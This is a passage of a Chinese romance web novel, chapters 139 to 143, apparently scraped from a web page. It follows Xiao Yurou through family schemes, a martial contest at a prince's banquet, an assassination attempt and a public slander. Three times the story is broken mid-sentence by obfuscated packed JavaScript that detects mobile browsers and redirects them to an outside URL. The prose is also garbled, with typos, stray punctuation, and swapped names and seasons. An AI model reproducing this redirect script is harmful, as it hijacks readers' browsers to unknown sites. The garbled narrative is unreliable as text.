“她不会后悔的。”一直站在一旁的晏澜突然上前一步,声音冷硬,“倒是你,怕是没机会后悔了。谋害驸马的罪名,想必不会轻饶。” 桂成林看向晏澜,突然换上一副慈父面孔,声音里带着几分哽咽:“悔儿,我是你亲生父亲啊。这些年,我虽然没有尽到父亲的责任,但血脉之情是割不断的啊。” “我没有父亲,”晏澜冷声道,眼中满是厌恶,“我叫晏澜,与你无关。从小到大,你可曾尽过一日为父之责?” “外人可不这么想,”桂成林冷笑,语气中带着威胁,“你是我桂成林的长子,我若死了,你在龙都还能立足?宁远伯府的爵位本该是你的,难道你想回去继续过那种寄人篱下的日子?” 萧语柔看着桂成林这般卑劣手段,心中怒火中烧。这个男人,为了自保,竟然连最后的体面都不要了。 “若她能饶了家母一命。”晏澜突然开口,声音里带着几分坚定。 桂成林大怒,一巴掌拍在铁栏上:“逆子!你宁愿放弃荣华富贵?” “我会靠自己。”晏澜的声音很轻,却字字铿锵。 “就凭你去武行当人形沙包?”桂成林冷嘲热讽,“你以为你那点三脚猫功夫,能在龙都立足?” 晏澜握紧拳头,指甲深深陷入掌心,一时语塞。确实,他现在能做的不多,但他不想再靠这个所谓的父亲。 萧语柔起身轻拍晏澜肩膀:“大表哥,我们去明月阁吧,听说有新菜品,捎带手给姨母带点东西。” 桂成林看着两人离去的背影,气得胸口剧烈起伏,一口鲜血涌上喉头。 明月阁内,萧语柔细细打量着晏澜。他虽然穿着体面,但手上的厚茧却怎么也遮掩不住。即便外祖母年年送银子,怕是也没几两真正到了晏家母子手中。 “堂兄是练过功夫的?”她状似随意地问道。 “嗯。”晏澜点头,眼中闪过一丝向往。 “可想从军?” 晏澜眼中闪过光亮,却又很快暗淡下来:“我要照顾母亲。” “舅母如今有人照料,不必你日日操劳。”萧语柔笑道,“若你想从军,我可以举荐你去定王殿下麾下。只是军中艰苦...” “我愿意!”晏澜猛地抬头,随即又有些不好意思地低下头,“我、我想去定王手下效力。” “感情是打算投奔定王府啊。”萧语柔促狭一笑,看着表哥涨红的脸。 晏澜窘迫地解释:“五妹妹,我不怕吃苦。从小到大,我就没过过安生日子。” 萧语柔看着他坚毅的眼神,心中一暖。这个表哥,虽然性子木讷,但心地纯善。 用过晚膳回府,林妈妈便带来宁王府的请帖,说是明日设宴,还要举办比武。 林妈妈呈上一枚铜制腰牌,上面刻着“炎阳”二字,做工精致,显然不是寻常物件。 “三皇子说了,若公子明日能在比武中得前三,这腰牌便是公子的。”林妈妈笑眯眯地说道。 晏澜郑重行礼:“感激不尽,定王大人。”他小心翼翼地接过腰牌,眼中满是期待。 看着儿子兴奋的模样,晏夫人恍如梦中。这几日无需提防算计,也不必看人脸色,多了个知冷知热的亲外甥女,连她这个木讷的儿子都仿佛变了个人。 夜深人静,萧语柔站在窗前,望着院中的梨花出神。小欢的死,桂成林的暗示,外祖母身边的人...这些线索串在一起,隐隐指向一个她不愿面对的真相。 远处传来更夫打更的声音,她轻轻叹了口气。这盘棋,才刚刚开始。 第一百三十九章 命数 “要是他铁证如山,这爵位怕是难保。”萧语柔站在窗前,望着庭院中飘落的梧桐桂,轻声说道。秋风萧瑟,带着几分凉意,吹得她的裙摆微微晃动。 老夫人坐在太师椅上,手中的佛珠轻轻滑动。听到这话,她眼中闪过一丝痛萧,却又很快恢复平静:“若真如此,也是命数。”苍老的声音里带着难掩的疲惫。 回忆逝去的一双儿女,再看看眼前这个吃尽苦头的外孙女,老夫人心中一阵酸萧。桂家百年基业,却要毁在桂成林手中。她抬手示意丫鬟退下,屋内只剩下祖孙二人。 “外祖母,您别太担心。”萧语柔转身走到老夫人身边,轻轻握住她布满皱纹的手,“桂远墨已经去江南查案了,相信很快就会水落石出。” 老夫人拍了拍她的手背,欲言又止。 宁王府突然大开宴席,着实让龙都权贵们惊讶不已。府门前车马不断,络绎不绝的宾客带着或真或假的笑容步入府中。 谁不知岑陌性子孤傲,向来独来独往?今日却广发请帖,邀众人入府赴宴。各种猜测在权贵间流传,有人说是为了某位贵女,也有人说是为了朝中大事。 萧语柔站在摘星阁三层,俯视着下方熙熙攘攘的人群。她知道,这些人中有想攀附岑陌的,有想探听消息的,更有想看热闹的。 “县主,褚世子来了。”立在门边的丫鬟轻声禀报。 萧语柔微微点头,目光落在刚进府的岑涛身上。他一身玄色锦袍,举手投足间尽显世家公子的风范。他本该和桂远墨一同去江南查案,却偏偏迟了一日。这其中究竟有何隐情? 穆秋煜跟在岑涛身后,一眼就看到了湖心亭中独自对弈的岑陌。那道孤傲的身影,与前世并无二致。只是这一世的岑陌,似乎学会了韬光养晦,不再锋芒毕露。 湖面上泛起阵阵涟漪,几只白鹭掠过水面。岑陌专注地看着棋盘,仿佛对周遭一切都漠不关心。 “三皇弟。”岑涛走近亭子,脚步声惊起几只停在栏杆上的麻雀。 岑陌这才抬眼看他:“还未启程?”声音淡漠,听不出喜怒。 “路上耽搁了些。”岑涛在他对面坐下,随手拈起一枚白子。 “江南水患紧急,莫要耽误太久。”岑陌淡淡道,目光依旧停留在棋盘上。 演武台那边已经热闹起来。谷柏站在台下,看得热血沸腾。各路高手轮番上阵,刀光剑影中不时传来喝彩声。 萧语柔带着表哥晏澜来到看台。周围议论纷纷,大多针对晏澜的身份来历。有人说他是江湖游侠,也有人猜测他是某个大家族的庶子。 台上,商焘赤着上身,肌肉虬结,连胜五场后更显狂傲。他站在台中央,扫视四周,正在叫嚣着要找对手。 “上去试试?”萧语柔看向晏澜,眼中带着几分期待。 晏澜整了整衣袖,点头道:“正好活动活动筋骨。”说完大步走向演武台。 “就你?”商焘上下打量着晏澜,不屑地撇了撇嘴,“看着面生,哪来的?” “打过再说。”晏澜语气平淡,已经摆开了架势。 商焘怒极反笑:“好,让你知道知道豹爷的厉害!”说着便挥拳而上。 两人交手,商焘招招狠辣,晏澜却灵活应对。虽然吃了几记重拳,但也让商焘挂了彩。台下的观众看得如痴如醉,不时发出惊呼声。 楼上,一群贵女正窃窃私语,时不时往萧语柔这边投来或嫉妒或轻蔑的目光。 “听说定王对澜宁郡主很是宠爱呢。”一个贵女酸溜溜地说道。 “不过是个知县之女,哪比得上我们霜儿。要不是她使了什么手段...”另一个贵女附和道。 “可不是,要不是霜儿退婚,哪有她的机会。” 萧瑾听不下去了,冷哼一声:“一群丑八怪,也不照照镜子看看自己什么德行。” 岑燕燕更是直接朝楼下做了个鬼脸,喊道:“呦!怕不是有人酸葡萄吃多了吧,小心牙酸。” 萧语柔却只是淡淡一笑,目光越过人群,落在补远处的岑陌身上。他们四目相对,尽在不言中。 就在此时,一个小厮匆匆跑来在岑陌耳边低语几句。岑陌的表情变得凝重,随即起身快步离开。 注意到这一幕,萧语柔心中隐约有些不安。 演武台上的较量仍在继续,晏澜和商焘已经战了百余招。两人都挂了彩,但谁都不肯认输。忽然,晏澜一个错步,被商焘抓住机会,重重一拳打在胸口。 “表哥!”萧语柔惊呼出声,下意识地想要冲上前去。 就在这时,一道身影闪电般冲上台去,一掌劈向商焘后颈。商焘躲闪不及,直接倒在了台上。 来人正是岑涛。他扶起晏澜,笑道:“好身手,改日一起切磋如何?” 晏澜擦了擦嘴角的血迹,点头应下。台下响起一片喝彩声。 萧语柔松了口气,却又觉得事情似乎没这么简单。岑涛为何会在这个时候出手?他究竟打的什么主意? 夜幕降临,宴会仍在继续。灯火通明的宁王府内,觥筹交错,推杯换盏。每个人脸上都挂着笑容,却各怀心思。 萧语柔站在花园的回廊里,看着天上的残月。今晚发生的一切,都像是一场精心编排的戏。而她,既是观众,也是演员。 “在想什么?”熟悉的声音从身后传来。 萧语柔转身,看到岑陌负手而立,月光为他清俊的面容镀上一层淡淡的银辉。 “在想,这场戏什么时候才会落幕。”她轻声说道。 岑陌走近几步,低声道:“很快了。” 远处传来阵阵笑语,却衬得这一方天地更加寂静。秋风拂过,带着几分凉意,也带着几分未知的期待。 第一百四十章 擂台 萧语柔倚在雕花窗边,目光落在楼下热闹的擂台上。初春的风带着些许寒意,吹起她鬓边的碎发。擂台上,两个壮汉正打得难解难分,周围的叫好声连绵不断。 “表哥的身手倒是不错。”她的眼中闪过一丝赞许。擂台上那个身形修长的年轻人正是她的表哥晏澜,此刻正与对手缠斗在一起。 身后突然传来一阵喧闹打断了她的思绪。 “事实而已,不让我开口是吧?”赵婷倚在另一扇窗边,语气挑衅,“干脆把耳朵捐了算了,反正以后这样的话多着呢。” 她仗着宁王来了府上,今日态度格外的嚣张。 “你这个丑八怪!看我不下去撕烂你的嘴!”岑燕燕气得直跺脚。 话音未落,岑燕燕已经转身冲向楼梯。她的脸涨得通红,显然是被气得不轻。 赵婷慌忙向谷霜投去求救的目光。她嘴上虽厉害,可对岑燕燕这个小霸王还是有几分忌惮的。 “大珍,冲!”门刚打开,岑燕燕就带着她那只战斗力爆表的公鸡冲了进来。她的声音里带着几分得意,显然对即将发生的混乱充满期待。 大珍一个飞扑,却没有攻击赵婷,而是直奔最熟悉的目标——柳紫紫而去。那只胖乎乎的公鸡张开翅膀,威风凛凛地向柳紫紫扑去。 屋内顿时乱成一团。谁敢抓小霸王的鸡?那不是找死吗?几个丫鬟吓得缩在角落,大气都不敢出。 谷霜瞥了眼走下来的萧语柔,声音温和的施礼道:“是我管教不严,还望县主郡主消消气。今儿个是定王殿下庆祝开府,还望两位给在下一个薄面。” 这话说得滴水不漏,就连岑燕燕都听出了其中的弦外之音。她冷笑一声:“呵,你们挑事在先,现在倒成了我们的不是。” “霜儿愿意领罚。”谷霜低眉顺眼地说道,姿态放得极低。 “霜儿!你又没错,明摆着是她们恃强凌弱!”赵婷急了,一把拉住谷霜的袖子。 岑燕燕抱着大珍,。:“幸亏我比你有实力,否则早就被你给欺负惨了。” 赵婷趁着众人不注意,悄悄移到正在和大珍搏斗的柳紫紫身后。她假意去抓鸡,实则狠狠推了柳紫紫一把:“青青,我来帮你!” 柳紫紫正好被鸡啄到额头,一个踉跄,整个人从窗户跌了出去。 “啊——!”尖叫声此起彼伏。 这可是在二层楼啊,若是摔下去,不死也要残。几个丫鬟吓得捂住了眼睛,不敢看接下来的惨状。 赵婷装出一副惊恐的样子,眼底却闪过一丝得意。若柳紫紫出事,以她路丞相府表小姐的身份,再加上赵王不在龙都,看谁还敢护着岑燕燕这个小霸王。 “萧瑾!”萧语柔一声令下。 萧瑾如离弦之箭般跃出窗外,终究还是迟了半拍。他的身影在空中划过一道弧线,却没能抓住柳紫紫。 就在这千钧一发之际,一道身影从擂台上飞身而起,稳稳接住了下坠的柳紫紫。那人身形矫健,动作行云流水,仿佛早有准备。 是晏澜。 柳紫紫惊魂未定,看着这个救命恩人,一时看得有些痴了。和她那个只会吟诗作对的书生表哥比起来,眼前这个男人更有男子气概。 “敢问公子...”她的声音还带着些许颤抖。 “大表哥!”萧语柔趴在窗边松了口气,声音里带着几分感激。 晏澜这才回过神来,脸色骤然一变。他今天就是冲着前三来的,现在跳下擂台,等于主动认输。比武场上的规矩,一旦离开擂台就算认输。 看着怀中女子痴迷的眼神,他毫不犹豫地把人放在地上,动作干净利落。他不想给人任何误会的机会。 “我输了。”他抬头看向萧语柔,声音里带着愧疚。 萧语柔看穿了他的心思:“你且等我。” 说完,她转身从容不迫的下楼。 岑燕燕生怕错过接下来的好戏,也抱着她的大珍追了下去。那只胖乎乎的公鸡在她怀里扑腾着翅膀,似乎也想看看热闹。 擂台那边传来欢呼声,显然有人趁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576564|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机夺得了胜利。晏澜的脸色越发冷峻、。 “想什么呢?”萧语柔的声音突然在身后响起。 “我...”、 “你做得对啊!若见死不救,才要让我失望呢!”萧语柔笑道,眼中带着赞许。 “小子!”商焘的声音突然响起,打断了两人的对话。 “咱们今天还没分出高下呢。”商焘哼了一声,“下次若再半途而废,老子非锤爆你的头不可!” 说完,他又大步流星地回到擂台上去了,留下一串豪迈的笑声。 “这商焘倒是个直性子。”谷柏不知何时走了过来,搭上晏澜的肩膀,“走,我领你去宁王府逛一圈。” “凌小将军跟我也是铁哥们,表哥且去吧。”萧语柔说道,语气温和。 晏澜被谷柏拉着走了,背影显得有些落寞。他今日的表现,恐怕会让不少人失望。 柳紫紫还躺在地上,大珍又冲她扑来,吓得她尖叫着逃走。她的裙摆沾了灰,狼狈不堪。 “你就是萧语柔?”一个粗哑的声音突然响起,打破了院子里短暂的平静。 岑燕燕在萧语柔耳边小声提醒:“是大皇兄。” 宁王穿着金红色锦袍,身材矮胖,相貌平庸。他上下打量着萧语柔,眼神里带着几分轻蔑:“模样倒是出挑,就是太过狂悖。你还没资格进皇家呢,就敢在这里欺男霸女,险些要了人小命!” 萧语柔抬起头,嫣然一笑:“殿下这是听谁挑唆了?”她的声音清脆悦耳,却带着一丝不易察觉的讽刺。 “你这是对本王有意见?”宁王不悦道,脸色阴沉下来。 “大皇兄,你误会了...”岑燕燕想解释,却被打断。 “住口!“赵王叔不在,你这是越来越放肆了。婷儿是为你好,才让本王来提点你。”宁王厉声喝道。 又转向萧语柔,扬声怒喝道:“女子当以德为先,打不还手,骂不还口。你看看你,做到哪一条了?” 赵婷站在宁王身后好不得意。 第一百四十一章 刺杀 “你还敢来?”宁王一双眼睛瞪得滚圆,指着萧语柔的鼻子怒斥,“本王看在三弟的面子上,才让你有机会认错。现在倒好,你不仅不认错,还敢来这里撒野!” 萧语柔不卑不亢地看着眼前这个满身横肉的男人。她知道,岑陌一定就在附近,只是现在还没有出现。 “婷儿受了这么大委屈,你倒是一点悔意都没有。本王真是看错了你!” 萧语柔的目光扫过不远处的擂台,商焘正在上面大打出手。这对父子与宁王的娘家颇有渊源,最近刚回龙都,兵权交接的事情还不知道如何。 就在此时,人群中突然窜出三个黑衣人,手中寒光闪烁,杀气四溢。 “小心!”萧语柔身体本能地向前一步,喝斥道。 宁王吓得脸色发白,身子微微颤抖,护卫们立即冲上前去。刀光剑影中,黑衣人招招致命。 “萧瑾,活口!”萧语柔喊道。 赵婷还在一旁尖叫:“定王殿下,快救救......” 萧语柔反手就是一个耳光:“闭嘴!睁大眼睛看清楚,这群人是冲着你来的!平日里做了多少见不得人的事,竟然引来刺客?” 宁王愣住了,满脸不可置信道:“冲着婷儿来的?这...这怎么可能?” “王爷一向仁厚,谁会想要刺杀您呢?”她的目光在赵婷脸上扫过,后者的脸色瞬间变得惨白。 就在此,一个刺客的**直奔赵婷而去。而萧瑾则借力将那人的**送向了赵婷的肩膀。一道寒光闪过,顿时鲜血飞溅。 “啊——”凄厉的惨叫声响起,赵婷捂着肩膀跌倒在地。 很快,商焘带人制服了剩下的刺客,但只留下了一个活口,其他两人都服毒自尽了。现场一片混乱,空气中弥漫着血腥味和药味。 晏澜和谷柏赶到时,三皇子府的护卫总算是赶到了。 “王爷在接待长公主。”护卫长回话。 萧语柔将唯一的活**给他们:“小心看管,此人嘴里有毒囊。若是让他自尽,你们担待得起吗?” 岑涛焦急的走了过来:“澜宁,我今晚就要启程去江南......” “王爷慎言。”萧语柔打断他的话,目光警惕地扫视四周,“小心隔墙有耳。” 谷霜适时出现:“澜宁郡主受惊了吧?”她的声音带着几分刻意的关切。 萧语柔借机抽身:“我还要见定王殿下,诸位请自便。” 待长公主离开,岑陌站在书房的黑暗中,思绪万千。长公主的话像一把利刃,剜着他的心。 他曾经以为,活着与死去并无区别。那时的他,如同行尸走肉,在黑暗中摸索前行。 直到遇见她,如同黑暗中的一缕光,温暖了他冰冷的血液。可若他真如长公主所说,他又有什么资格留在光明之中? 书房里的空气仿佛凝固了,只有烛火偶尔发出轻微的噼啪声。岑陌的手指停在了桌面上的一道划痕处,那是他曾经失控时留下的。 “殿下?” 熟悉的声音传来,萧语柔点亮了烛火。温暖的光芒照亮了岑陌的脸,也照进了他的心里。 岑陌转过身,月光和烛光交织在他的侧脸上,勾勒出一道若隐若现的轮廓。他的目光落在萧语柔身上,眼底的阴霾似乎淡了几分。 “你来了。”他的声音低沉而温和,仿佛在说一件再平常不过的事。 萧语柔轻轻点头,迈步走进书房。她的脚步声在寂静的夜里格外清晰,每一步都像是踩在岑陌的心上。 萧语柔将烛台轻轻放在书桌上,正欲开口,便被一双温暖的手臂从背后紧紧的拥住。 她感受到岑陌急促的心跳声,一下...两下......想必长公主今日的话他有些难 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她偷偷打量着岑陌,发现他竟然也吃完了一大碗饭。这让她心里涌起一股说不出的满足感。 “殿下在看什么?”察觉到她的目光,岑陌放下筷子问道。烛光在他眼中跳动,映出一片温柔的光影。 “在想以后每天都能这样和殿下一起用饭,该有多好。”她笑靥如花,酒窝里盛满了甜蜜,“就像现在这样,简简单单地吃一顿饭,说说话。” 岑陌咬了咬嘴唇,眼底闪过一丝阴霾:“长公主今日...” “殿下。”她果断打断他的话,“你是信她,还是信我?” “信你。”他立刻答道。 “那就别想那些不开心的事。在我心里,殿下就是最好的。不管别人怎么说,我都会站在殿下这边。”萧语柔柔声说道。 第一百四十二章 调查暗杀 夜色渐深,她起身告辞:“时候不早,我该回去了。”走到门口时,她突然停下脚步,“对了,今天发生的暗杀事件,我怀疑与商焘父子有关,恳请王爷明察。” 看着她离去的背影,岑陌沉思片刻,唤来暗卫:“去查查洛贵妃一族,特别是...她儿子的来历。” 暗卫领命而去,夜色中只余下一片沉寂。月光清冷,洒在宁王府的庭院里显得太过空旷冷清,少了几分生气。 “明日找花匠来。府上该添些花草,养些锦鲤...还有兔子和猫。岑陌对林妈妈说道。 林妈妈笑道:“是,好好好!这是为王妃做准备吗?奴婢这就去安排。” 岑陌没有否认,只是望着月色出神。院子里的梨树开始抽芽,不久就会开花。那时候,这里该是怎样一番景象? 而另一边,萧语柔躺在床上,思绪万千。今日长公主的话语虽然难听,但也提醒了她一些事。她需要未雨绸缪,做好万全准备。 “大小姐心里打什么主意?”紫萱一边给她揉腿一边问,“是不是在担心长公主的事?” “在想怎么解决一个麻烦。”她叹了口气。长公主这个问题不好处理,既要顾及岑陌的名声,又要防备她的算计。一个不慎,就可能陷入被动。 紫萱停下手上的动作:“小姐不必太过忧心,有殿下在,长公主不敢太过分的。” “话虽如此...”萧语柔翻了个身,“但总要想个万全之策。” 第二天一早,晏澜带来好消息。 “殿下同意我加入秋巡的锦阳军了。”他难掩喜色。 “恭喜大表哥。”萧语柔由衷为他高兴。这对晏家来说确实是个好机会,能让晏家在朝中站稳脚跟。她随即吩咐准备酒菜,为晏家庆贺。 正要去福寿堂,桂玥突然拦住她:“五妹妹,这次秋巡,我能跟你一起去吗?”她的语气讨好道。 萧语柔注意到她头上那支原本属于桂婉柔的金簪,心中暗叹。有些人,永远都学不会知足。得寸进尺的性子怕是改不了了。 “六姐姐身子未愈,还是好好在府上养着吧。”她婷拒道,语气温和却不容置疑,“秋巡路途遥远,颠簸劳累,我不忍心看你受苦。” 桂玥脸上闪过一丝不甘,但很快又恢复了笑容:“五妹妹说得对,是我考虑不周了。” 看着桂玥离去的背影,萧语柔若有所思。这个六姐姐,野心不小啊。 回到房间,她开始翻看近日收集的情报。商焘父子的事还需要进一步调查,洛贵妃那边也要多加注意。至于长公主...她轻轻摩挲着手中的金镯,眼中闪过一丝锐利。 紫萱端着茶进来,看到小姐专注的模样,轻声问:“小姐要不要休息一会儿?” “不必。”萧语柔摇摇头,“去帮我准备些纸墨,我要写封信。” 院子里,梨花含苞待放,春意渐浓。一切都在悄然改变,就像她与岑陌的关系,在一点一滴中变得更加紧密。 桂玥最也是近烦得很。 本以为自己终于能摆脱病秧子的身份,在龙都贵女圈里崭露头角了。可偏偏那只每天清晨准时报晓的大公鸡,总是吵醒她难得的美梦,惹得她烦得很。 “小姐,该起了。”丫鬟小梅手里端着一碗温热的药汤,轻声唤道,。 “不喝不喝。”桂玥翻了个身,将被子拉过头顶 “小姐,这可是七县主特意让人送来的...” 听到“七县主”三个字,桂玥猛地坐起身,接过药碗一饮而尽。苦涩的药味在口中蔓延,她皱着眉头,却不敢有任何抱怨。 “六姐姐这是把我当成你的贴身大夫了?”萧语柔坐在檀木椅上,眉眼带笑。 桂玥一愣,慌忙解释道:“五妹妹说的哪里话,我只是觉得妹妹医术高明,又性子温柔...”她的手指不自觉地绞着帕子,眼神闪烁。 萧语柔听着这番话,心中冷笑。若不是秋巡在即,姥姥执意要驻留,她才懒得陪这对母女演戏。她端起茶盏,轻轻吹散漂浮的茶桂。 “六姐姐说笑了,巡查清单由皇宫拟定,我若真有这般本事,定把姐姐也加上去。” 桂玥眼中闪过一丝期待,忙不迭道:“五妹妹若是去求求宁王殿下...” 她心中暗自盘算,宁王性子清冷,当初看上萧语柔,必定是因为润州一路同行之时日久生情。若能借此机会... “宁王殿下做不得主。”萧语柔打断她的幻想,茶盏轻轻落在桌面,发出清脆的响声,“不过若太后娘娘召见我,我倒是可以为姐姐美言几句。” 桂玥顿时 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春姨娘哭声戛然而止,眼中闪过一丝慌乱。 “既是交易,理应互帮互助。替我办个事情,我就带你们进宫赴宴。”萧语柔随即道。 “何事?”春姨娘强装镇定。 “桂婉柔那日与你们商议的事。” 桂玥手一抖,茶水泼了一身。滚烫的茶水浸透衣裳,她却顾不得疼痛。 春姨娘强作镇定:“县主说笑了,那天四姑娘登门拜访,不过是闲聊几句...” “是吗?”萧语柔眼中寒光一闪,“那日你们在花园里说的话,我可都听得一清二萧。” 桂玥终于忍不住,眼含泪光:“五妹妹这段时日与我情同姐妹,原来都是在看我笑话?”她的声音带着哽咽。 萧语柔冷笑:“我倒觉得该生气的是我才对。你们背地里算计我,现在反倒来怪我不够真心?” 桂玥捂着脸跑了出去,裙摆带倒了几个茶盏。瓷器碎裂的声音在院子里回响。 春姨娘心思转了几转,谄媚到:“实不相瞒,那日四小姐只说她背后有墨王撑腰,别的并未多言。” “是么?那便罢了。”说罢萧语柔起身便走,“宫宴的事,我会安排。” 第一百四十三章 演戏 两日后,宫宴如期举行。 桂玥一大早就精心打扮,穿上新做的湖水绿褙子,头上戴着珍珠钗环。她在宫门口苦等到天黑,却始终等不到通传。 直到回府才得知,萧语柔因病未能赴宴。 她气得直冒烟,正巧遇到桂琳从外面回来。 “五姐姐就不觉得不甘心吗?”桂玥拦住桂琳的去路,声音挑衅道。 桂琳抬起低垂的眸子,平静地看着她:“属于我的必须到手,不是我的,我也不妄想。做人要懂得认清自己。” “你懂什么!”桂玥尖声喊道,“你从小就是爹爹的掌上明珠,哪里知道我们这些庶出的苦!” 丫环连忙劝她:“小姐,风大,当心着凉...” “滚,! 远处的灯笼在风中飘摇,桂琳看着她这般歇斯底里的样子,轻轻叹了口气,转身离去。 翌日。 “这位六小姐真是昏了头。”林婆子摇头叹息 “可不是么,”一旁的丫鬟小声附和,“原本该安分守己地孝敬老夫人,即便不能像萧语柔那般高嫁入皇族,也能寻个清正廉明的官宦子弟为夫。偏偏要与萧语柔争个高低,这不是自寻死路么?” 炉火噼啪作响,映得屋内一片温暖。紫萱端着茶盘走进来,轻手轻脚地给萧语柔添了杯热茶。茶香四溢,她望着氤氲的水雾,忽然开口道:“这让我想起家乡的那些事儿。” 萧瑾原本正在整理书架,听闻此言立刻转过身来,眼中闪烁一丝不解。她连忙放下手中的书卷,走到紫萱身边道:“欸,什么往事?快说来听听。” 紫萱将茶盘放在案几上缓缓道来:“那户人家有三兄弟,家境殷实。老父临终前分配家产,却让三兄弟反目成仇,险些酿成大祸。”说到这,她不禁叹了口气,眼中浮现出往事的阴影。 “老大得了祖宅,老二分了金银,老三继承了铺子。”紫萱的声音轻柔,仿佛在讲一个遥远的故事。 萧瑾托着下巴:“这分配很合理啊。老大性子稳重,守着祖宅最合适。老二虽然爱花钱,但有了自己的钱或许能学着节制。老三精明能干,经营铺子正好。” “可惜人心不足蛇吞象啊!老大觉得自己能干,想要铺子。老二贪得无厌,想要宅子。老三更是觉得两个哥哥无能,想要独占全部。” 紫萱苦笑着摇头道。 一直在案前写信的萧语柔终于放下手中的毛笔。她望着窗外飘落的梅花,感叹道:“人性就是如此,不患寡而患不均。就像桂玥一样,她只记得我得到了什么,可却忘了从前她也是一无所有啊。” 萧瑾闻言,若有所思地点点头。 萧语柔将信笺轻轻吹干,递给萧瑾:“去送信吧。” 林婆子装作没看见似的,继续低头绣着手中的帕子,但还是忍不住试探问道:“今晚的宫宴,小姐为何不去?就算郡主也去凑热闹了。” 萧语柔假装发烧,必定是想躲着墨王。那日暗器伤了他,这时候见面怕是不妙。她抬手揉了揉太阳穴,脸上故意露出几分倦色。 宫宴上,墨王司韶风采照人。三十出头的年纪,却因常年在西陲征战,眉宇间多了几分英气。他着一身墨蓝色锦袍,腰间玉带流光溢彩,举手投足间尽显王者风范。 “这就是墨王?”席间不少贵女窃窃私语,眼中闪烁着好奇的光芒。 “看着倒是风度翩翩,哪像传闻中那般凶神恶煞。” 司韶的目光在席间不动声色地搜寻,显然在找那个用暗器伤他的女子。忽然,他的目光与岑陌相遇,唇角勾起一丝意味深长的笑:“皇侄,许久不见,可要来府上一叙?” “不必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宫宴上推杯换盏,觥筹交错间,一片歌舞升平。 皇帝的目光在醉醺醺的墨王身上停留许久,缓缓道:“说吧,你想求什么恩典?” “皇兄,臣弟只想为有情人牵线搭桥。听说宁王为救一位姑娘不惜跳崖,这份情谊着实让人动容啊。” 萧语柔心头一紧,手中的茶盏微微颤抖,茶水在杯中荡起细小的涟漪。她感到周围投来一道道探究的目光。 “陌儿,此事当真?”皇帝转头看向岑陌。 “墨王叔听错了!臣不过是去山中狩猎,恰巧遇到山崖坍塌,仅此而已。” 司韶眯起眼睛,心中暗自冷笑。他本想借此机会逼岑陌就范,却没想到对方如此果断地否认。那个女人究竟有什么特别,值得岑陌如此处心积虑地隐瞒? “是吗?”墨王晃了晃酒杯,“可我听说,那位姑娘容貌绝美,连宁王都为之倾心。若非如此,宁王又怎会冒着生命危险去救她呢?” 岑陌道:“墨王叔若是醉了,不如早些回府休息。” 这带着警告的话让墨王有些不悦。 流言却像春日里的柳絮,随风飘散在龙都贵女圈中。大家都在猜测那个神秘女子的身份,各种版本的故事在茶余饭后传播。 “谷霜,你说宁王真的......”梁暮雪欲言又止,“他看起来那么喜欢语柔......” 谷霜望着远处的花园,回忆起当初岑陌为救自己时的情景,心中百味杂陈:“王爷确实重情重义。”她停顿片刻,又补充道:“但有些事,不是表面看起来那么简单。” 这句模棱两可的话像一颗石子投入平静的湖面,激起层层涟漪。梁暮雪若有所思地看着谷霜,似乎想从她的表情中读出更多信息。 第二天一大早,萧语柔就收到了岑燕燕和梁暮雪的慰问。看着她们欲言又止的表情,萧语柔只能装作大度地笑笑:“你们想多了,我和宁王之间清清白白。” “可是......”岑燕燕咬着嘴唇,“大家都在传......” “传言而已。”萧语柔打断她的话,“比起这个,秋巡在即,我还有很多事要准备。” 秋高气爽,本该是出行的好时节。萧语柔抓紧时间安排老夫人等人前往别院,却不知这平静的表面下暗流涌动。 谁知刚到城门,一个衣着体面的男子突然冲出,拦在马车前:“语柔,我的心肝,我知错了!为了你,我愿意抛弃一切!” 紫萱脸色煞白:“大胆狂徒,来人!”她挡在萧语柔面前,手中的拂尘紧握。 萧瑾一个箭步上前,将那人踹翻在地。男子却像没感觉到疼痛似的,依旧大声嚷嚷:“语柔,你忘了我们在润州的日日夜夜了吗?” 围观的人群渐渐**,窃窃私语声此起彼伏。 “你打死我也无妨,”那人擦着嘴角的血迹,冷笑道,“反正我手里有她的把柄......” 话音未落,萧瑾的拳头已经砸了下去。那人的牙齿被打掉两颗,鲜血顺着嘴角流下。 “长公主驾到!”一声高喝打断了这场混乱。 萧语柔心下一紧,看着地上的男子,瞬间明白这是一场精心设计的局。时机太过巧合了,一切都像是提前安排好的。 长公主的马车缓缓驶来,她揉着太阳穴,一脸疲惫:“这是怎么回事?” 那男子立刻跪地诉苦,声泪俱下地讲述他与萧语柔在润州的“情缘”。他说得绘声绘色,仿佛亲身经历过一般。 “混账东西!”老夫人气得浑身发抖,苍白的手指紧紧抓住拐杖,“你也配与我的语柔相提并论?” “我有证据!”那人突然从怀中掏出一件肚兜,“这可是语柔留给我的定情信物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591342|170041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 围观的人群顿时沸腾起来,指指点点的声音像无数把刀子,狠狠刺向萧家人的心。 萧语柔死死拽住要冲上前的萧瑾:“不许动手。”她的声音很轻,却带着不容置疑的力量。 长公主看着跪地的男子:“你可知污蔑县主是什么罪名?” 